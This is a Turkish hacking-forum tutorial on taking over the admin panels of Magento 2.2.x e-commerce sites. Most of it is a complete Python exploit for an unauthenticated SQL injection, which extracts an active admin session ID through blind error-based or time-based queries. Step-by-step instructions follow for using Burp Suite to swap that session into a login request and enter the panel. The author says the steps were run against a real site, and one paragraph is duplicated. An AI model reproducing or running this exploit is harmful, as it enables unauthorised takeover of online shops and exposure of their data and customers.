Merhabalar herkese. Bugün ki konumuzda Magento yazılımının 2.2.0 ve öncesi sürümünü kullanan sitelerde SQL zafiyetinin nasıl sömüreceğimizi anlatacağım. Exploit kullanarak bu işlemi gerçekleştireceğiz ve panele erişim sağlayacağız.
Magento kısaca, hazır e-ticaret yazılımıdır. İnternet üzerinden satış/ticaret yapmak isteyenler için geliştirilmiş açık kaynak kodlu bir yazılım. Türkiye'de çok kullanıldığına şahit olmadım ama genel olarak popüler bir yazılım. Magento hakkında daha fazla bilgi için forumumuzdaki şu konuya göz atabilirsiniz.
https://www.turkhackteam.org/web-tabanli-uygulamalar/1035811-magento-nedir.html
Kullanılacak Exploit
Magento kısaca, hazır e-ticaret yazılımıdır. İnternet üzerinden satış/ticaret yapmak isteyenler için geliştirilmiş açık kaynak kodlu bir yazılım. Türkiye'de çok kullanıldığına şahit olmadım ama genel olarak popüler bir yazılım. Magento hakkında daha fazla bilgi için forumumuzdaki şu konuya göz atabilirsiniz.
https://www.turkhackteam.org/web-tabanli-uygulamalar/1035811-magento-nedir.html
Kullanılacak Exploit
Kod:
[CENTER][LEFT][COLOR=Green][B]#!/usr/bin/env python3[/B][/COLOR]
[COLOR=Green][B] # Magento 2.2.0 <= 2.3.0 Unauthenticated SQLi[/B][/COLOR]
[COLOR=Green][B] # Charles Fol[/B][/COLOR]
[COLOR=Green][B] # 2019-03-22[/B][/COLOR]
[COLOR=Green][B] #[/B][/COLOR]
[COLOR=Green][B] # SOURCE & SINK[/B][/COLOR]
[COLOR=Green][B] # The sink (from-to SQL condition) has been present from Magento 1.x onwards.[/B][/COLOR]
[COLOR=Green][B] # The source (/catalog/product_frontend_action/synchronize) from 2.2.0.[/B][/COLOR]
[COLOR=Green][B] # If your target runs Magento < 2.2.0, you need to find another source.[/B][/COLOR]
[COLOR=Green][B] #[/B][/COLOR]
[COLOR=Green][B] # SQL INJECTION[/B][/COLOR]
[COLOR=Green][B] # The exploit can easily be modified to obtain other stuff from the DB, for[/B][/COLOR]
[COLOR=Green][B] # instance admin/user password hashes.[/B][/COLOR]
[COLOR=Green][B] #[/B][/COLOR]
[COLOR=Green][B] import requests[/B][/COLOR]
[COLOR=Green][B] import string[/B][/COLOR]
[COLOR=Green][B] import binascii[/B][/COLOR]
[COLOR=Green][B] import re[/B][/COLOR]
[COLOR=Green][B] import random[/B][/COLOR]
[COLOR=Green][B] import time[/B][/COLOR]
[COLOR=Green][B] import sys[/B][/COLOR]
[COLOR=Green][B] from urllib3.exceptions import InsecureRequestWarning[/B][/COLOR]
[COLOR=Green][B] requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)[/B][/COLOR]
[COLOR=Green][B] def run(url):[/B][/COLOR]
[COLOR=Green][B] sqli = SQLInjection(url)[/B][/COLOR]
[COLOR=Green][B] try:[/B][/COLOR]
[COLOR=Green][B] sqli.find_test_method()[/B][/COLOR]
[COLOR=Green][B] sid = sqli.get_most_recent_session()[/B][/COLOR]
[COLOR=Green][B] except ExploitError as e:[/B][/COLOR]
[COLOR=Green][B] print('Error: %s' % e)[/B][/COLOR]
[COLOR=Green][B] def random_string(n=8):[/B][/COLOR]
[COLOR=Green][B] return ''.join(random.choice(string.ascii_letters) for _ in range(n))[/B][/COLOR]
[COLOR=Green][B] class ExploitError(Exception):[/B][/COLOR]
[COLOR=Green][B] pass[/B][/COLOR]
[COLOR=Green][B] class Browser:[/B][/COLOR]
[COLOR=Green][B] """Basic browser functionality along w/ URLs and payloads.[/B][/COLOR]
[COLOR=Green][B] """[/B][/COLOR]
[COLOR=Green][B] PROXY = None[/B][/COLOR]
[COLOR=Green][B] def __init__(self, URL):[/B][/COLOR]
[COLOR=Green][B] self.URL = URL[/B][/COLOR]
[COLOR=Green][B] self.s = requests.Session()[/B][/COLOR]
[COLOR=Green][B] self.s.verify = False[/B][/COLOR]
[COLOR=Green][B] if self.PROXY:[/B][/COLOR]
[COLOR=Green][B] self.s.proxies = {[/B][/COLOR]
[COLOR=Green][B] 'http': self.PROXY,[/B][/COLOR]
[COLOR=Green][B] 'https': self.PROXY,[/B][/COLOR]
[COLOR=Green][B] }[/B][/COLOR]
[COLOR=Green][B] class SQLInjection(Browser):[/B][/COLOR]
[COLOR=Green][B] """SQL injection stuff.[/B][/COLOR]
[COLOR=Green][B] """[/B][/COLOR]
[COLOR=Green][B] def encode(self, string):[/B][/COLOR]
[COLOR=Green][B] return '0x' + binascii.b2a_hex(string.encode()).decode()[/B][/COLOR]
[COLOR=Green][B] def find_test_method(self):[/B][/COLOR]
[COLOR=Green][B] """Tries to inject using an error-based technique, or falls back to timebased.[/B][/COLOR]
[COLOR=Green][B] """[/B][/COLOR]
[COLOR=Green][B] for test_method in (self.test_error, self.test_timebased):[/B][/COLOR]
[COLOR=Green][B] if test_method('123=123') and not test_method('123=124'):[/B][/COLOR]
[COLOR=Green][B] self.test = test_method[/B][/COLOR]
[COLOR=Green][B] break[/B][/COLOR]
[COLOR=Green][B] else:[/B][/COLOR]
[COLOR=Green][B] raise ExploitError('Test SQL injections failed, not vulnerable ?')[/B][/COLOR]
[COLOR=Green][B] def test_timebased(self, condition):[/B][/COLOR]
[COLOR=Green][B] """Runs a test. A valid condition results in a sleep of 1 second.[/B][/COLOR]
[COLOR=Green][B] """[/B][/COLOR]
[COLOR=Green][B] payload = '))) OR (SELECT*FROM (SELECT SLEEP((%s)))a)=1 -- -' % condition[/B][/COLOR]
[COLOR=Green][B] r = self.s.get([/B][/COLOR]
[COLOR=Green][B] self.URL + '/catalog/product_frontend_action/synchronize',[/B][/COLOR]
[COLOR=Green][B] params={[/B][/COLOR]
[COLOR=Green][B] 'type_id': 'recently_products',[/B][/COLOR]
[COLOR=Green][B] 'ids[0][added_at]': '',[/B][/COLOR]
[COLOR=Green][B] 'ids[0][product_id][from]': '?',[/B][/COLOR]
[COLOR=Green][B] 'ids[0][product_id][to]': payload[/B][/COLOR]
[COLOR=Green][B] }[/B][/COLOR]
[COLOR=Green][B] )[/B][/COLOR]
[COLOR=Green][B] return r.elapsed.total_seconds() > 1[/B][/COLOR]
[COLOR=Green][B] def test_error(self, condition):[/B][/COLOR]
[COLOR=Green][B] """Runs a test. An invalid condition results in an SQL error.[/B][/COLOR]
[COLOR=Green][B] """[/B][/COLOR]
[COLOR=Green][B] payload = '))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE %s) -- -' % condition[/B][/COLOR]
[COLOR=Green][B] r = self.s.get([/B][/COLOR]
[COLOR=Green][B] self.URL + '/catalog/product_frontend_action/synchronize',[/B][/COLOR]
[COLOR=Green][B] params={[/B][/COLOR]
[COLOR=Green][B] 'type_id': 'recently_products',[/B][/COLOR]
[COLOR=Green][B] 'ids[0][added_at]': '',[/B][/COLOR]
[COLOR=Green][B] 'ids[0][product_id][from]': '?',[/B][/COLOR]
[COLOR=Green][B] 'ids[0][product_id][to]': payload[/B][/COLOR]
[COLOR=Green][B] }[/B][/COLOR]
[COLOR=Green][B] )[/B][/COLOR]
[COLOR=Green][B] if r.status_code not in (200, 400):[/B][/COLOR]
[COLOR=Green][B] raise ExploitError([/B][/COLOR]
[COLOR=Green][B] 'SQL injection does not yield a correct HTTP response'[/B][/COLOR]
[COLOR=Green][B] )[/B][/COLOR]
[COLOR=Green][B] return r.status_code == 400[/B][/COLOR]
[COLOR=Green][B] def word(self, name, sql, size=None, charset=None):[/B][/COLOR]
[COLOR=Green][B] """Dichotomically obtains a value.[/B][/COLOR]
[COLOR=Green][B] """[/B][/COLOR]
[COLOR=Green][B] pattern = 'LOCATE(SUBSTR((%s),%d,1),BINARY %s)=0'[/B][/COLOR]
[COLOR=Green][B] full = ''[/B][/COLOR]
[COLOR=Green][B] check = False[/B][/COLOR]
[COLOR=Green][B] if size is None:[/B][/COLOR]
[COLOR=Green][B] # Yeah whatever[/B][/COLOR]
[COLOR=Green][B] size_size = self.word([/B][/COLOR]
[COLOR=Green][B] name,[/B][/COLOR]
[COLOR=Green][B] 'LENGTH(LENGTH(%s))' % sql,[/B][/COLOR]
[COLOR=Green][B] size=1,[/B][/COLOR]
[COLOR=Green][B] charset=string.digits[/B][/COLOR]
[COLOR=Green][B] )[/B][/COLOR]
[COLOR=Green][B] size = self.word([/B][/COLOR]
[COLOR=Green][B] name,[/B][/COLOR]
[COLOR=Green][B] 'LENGTH(%s)' % sql,[/B][/COLOR]
[COLOR=Green][B] size=int(size_size),[/B][/COLOR]
[COLOR=Green][B] charset=string.digits[/B][/COLOR]
[COLOR=Green][B] )[/B][/COLOR]
[COLOR=Green][B] size = int(size)[/B][/COLOR]
[COLOR=Green][B] print("%s: %s" % (name, full), end='\r')[/B][/COLOR]
[COLOR=Green][B] for p in range(size):[/B][/COLOR]
[COLOR=Green][B] c = charset[/B][/COLOR]
[COLOR=Green][B] while len(c) > 1:[/B][/COLOR]
[COLOR=Green][B] middle = len(c) // 2[/B][/COLOR]
[COLOR=Green][B] h0, h1 = c[:middle], c[middle:][/B][/COLOR]
[COLOR=Green][B] condition = pattern % (sql, p+1, self.encode(h0))[/B][/COLOR]
[COLOR=Green][B] c = h1 if self.test(condition) else h0[/B][/COLOR]
[COLOR=Green][B] full += c[/B][/COLOR]
[COLOR=Green][B] print("%s: %s" % (name, full), end='\r')[/B][/COLOR]
[COLOR=Green][B] print(' ' * len("%s: %s" % (name, full)), end='\r')[/B][/COLOR]
[COLOR=Green][B] return full[/B][/COLOR]
[COLOR=Green][B] def get_most_recent_session(self):[/B][/COLOR]
[COLOR=Green][B] """Grabs the last created session. We don't need special privileges aside from creating a product so any session[/B][/COLOR]
[COLOR=Green][B] should do. Otherwise, the process can be improved by grabbing each session one by one and trying to reach the[/B][/COLOR]
[COLOR=Green][B] backend.[/B][/COLOR]
[COLOR=Green][B] """[/B][/COLOR]
[COLOR=Green][B] # This is the default admin session timeout[/B][/COLOR]
[COLOR=Green][B] session_timeout = 900[/B][/COLOR]
[COLOR=Green][B] query = ([/B][/COLOR]
[COLOR=Green][B] 'SELECT %%s FROM admin_user_session '[/B][/COLOR]
[COLOR=Green][B] 'WHERE TIMESTAMPDIFF(SECOND, updated_at, NOW()) BETWEEN 0 AND %d '[/B][/COLOR]
[COLOR=Green][B] 'ORDER BY created_at DESC, updated_at DESC LIMIT 1'[/B][/COLOR]
[COLOR=Green][B] ) % session_timeout[/B][/COLOR]
[COLOR=Green][B] # Check if a session is available[/B][/COLOR]
[COLOR=Green][B] available = not self.test('(%s)=0' % (query % 'COUNT(*)'))[/B][/COLOR]
[COLOR=Green][B] if not available:[/B][/COLOR]
[COLOR=Green][B] raise ExploitError('No session is available')[/B][/COLOR]
[COLOR=Green][B] print('An admin session is available !')[/B][/COLOR]
[COLOR=Green][B] # Fetch it[/B][/COLOR]
[COLOR=Green][B] sid = self.word([/B][/COLOR]
[COLOR=Green][B] 'Session ID',[/B][/COLOR]
[COLOR=Green][B] query % 'session_id',[/B][/COLOR]
[COLOR=Green][B] charset=string.ascii_lowercase + string.digits,[/B][/COLOR]
[COLOR=Green][B] size=26[/B][/COLOR]
[COLOR=Green][B] )[/B][/COLOR]
[COLOR=Green][B] print('Session ID: %s' % sid)[/B][/COLOR]
[COLOR=Green][B] return sid[/B][/COLOR]
[COLOR=Green][B] run('http://HEDEFSITE.com/')[/B][/COLOR]
[/LEFT]
[/CENTER]
Ufak bi exploitten bahsedelim. Exploit SQL açığından yararlanıyor demiştik. Şimdi magento yazılımı açık kaynak kodlu olduğu için default veritabanı tabloları isimleri ve login kontrol yöntemlerinin nasıl olduğu belli. Veritabanından admin_user_session tablosunu kullanarak login kontrolleri yapılıyor. Bu exploit de size eğer aktif bir oturum varsa yani hedef sitenin panelinde admin veya yetki verilmiş başka bir kullanıcı aktifse size onun session değerini tablodan getirip veriyor. Tabi exploit başka tablolardan bilgiler çekmek içinde kullanılabilir kodlar düzenlendiği takdirde. Ama bu yöntem daha kolay panele sızmanızı sağlıyor.
NOT:Eğer aktif bir oturum yoksa exploit size bir error mesajı döndürüyor.
Şimdi exploitimizin kullanımına geçelim. Yukarıdaki kaynak kodun en altında da belirttiğim gibi 'hedefsite' kısmını değiştirdikten sonra aşağıdaki gibi terminale komutumuzu girelim.
Kod:
python3 script.py
Şimdi elimizde admin session değeri mevcut. Bu değeri kullanarak panele şifreyi bilmesek dahi girmiş olacağız. Şimdi hedef sitemizin login sayfasına gelelim. hedefsite.com/admin ile login sayfasına gidebilirsiniz.
Login sayfası açık kalsın. Birde Burp Suite uygulamasını açalım. Burp ile POST işleminde gönderilen bilgilerde değişiklik yapacağız. Bunun için Proxy>Intercept sekmelerini kullanacağız. Şimdilik Intercept is off şekline kalsın orası. Birazdan ON yapacağız.
Tabi Burp ile Tarayıcımızın anlaşabilmesi için tarayıcınızdan proxy ayarını yapmamız gerekiyor. Firefox Ayarlar/Preferences kısmında arama kısmına proxy yazalım. Network Settings gelmiş olmalı oradaki Settings... butonuna basalım.
Şimdi aşağıdaki gibi manuel kısmı seçip local ip'mizi ve portumuzu yazalım. Bu değerler default olarak burp uygulamamızda mevcut. O yüzden bu değerleri giriyoruz. Gerekli ayarlamaları yapıp OK diyin.
Bu işlemler bittikten sonra Burp uygulamamıza geri dönüp Proxy>Intercept altındaki Intercept is off butonuna basıp Intercept is on yapalım. Daha sonra tarayıcımıza geri dönüp login sayfamıza gelelim. Rastgele istediğiniz değeri username ve password kısmına giriniz. Girdiğiniz değerin önemi olmayacak admin:admin diyebilirsiniz.
Şimdi buraya kadar bişi unutmadıysanız Sign in dediğinizde karşınıza aşağıdaki gibi burp uygulamamız gelmesi gerekiyor.
Biz login sayfasından Sign in diyerek bi post isteğinde bulunduk. Burp uygulamamız aktif olduğu için bu POST işleminde gidecek verileri gitmeden önce bize göstermek için tuttu. Şimdi yukarıda admin= kısmında session var. O tarayıcımızın oluşturmuş olduğu bir session değeri. Biz bu değeri exploitimizden edindiğimiz session ile değiştireceğiz. Aşağıdaki gibi değiştirelim.
Post isteğimizde admin= kısmını değiştirdikten sonra sol üstte Forward ile POST isteğimizi Burp'ten çıkarıp tarayıcımıza değişmiş haliyle yolluyoruz. Tarayıcımıza geri döndüğümüzde bakıyoruz ki panel karşımızda
Exploit ile elde ettiğimiz session değeri hangi kullanıcıya ait ise biz siteye o kişiyiz dedik. Oda kabul etti
Ben bu exploiti arkadaşımın web işlerine baktığı bir sitede güvenlik testi yaparken denedim. Ciddi derecede önemli bir açık ve çok kolay sömürülebilir. Tabi bu açık eski sürümler için geçerli. Güncel sürümde açık kapatılmış durumda. Lakin hala eski sürümlerin de kullanıldığını bilin.
Ben elimden geldiğince exploit ile önemli bir verinin alınması ve kullanılmasını göstermeye çalıştım. Umarım 'exploit'i nasıl kullanabiliriz' sorusuna ufak bir örnek olur. Sürçülisan ettiysek affola bir başka konuda hep birlikte bilgilenmek üzere Allah'a emanet olun
Not: Yukarıdaki işlemleri gerçek bi site üzerinde test edilmiştir. Dolayısıyla güvenlik sebebiyle ekran görüntülerinde siteyi gizlememiz gerekmektedir.
Moderatör tarafında düzenlendi:



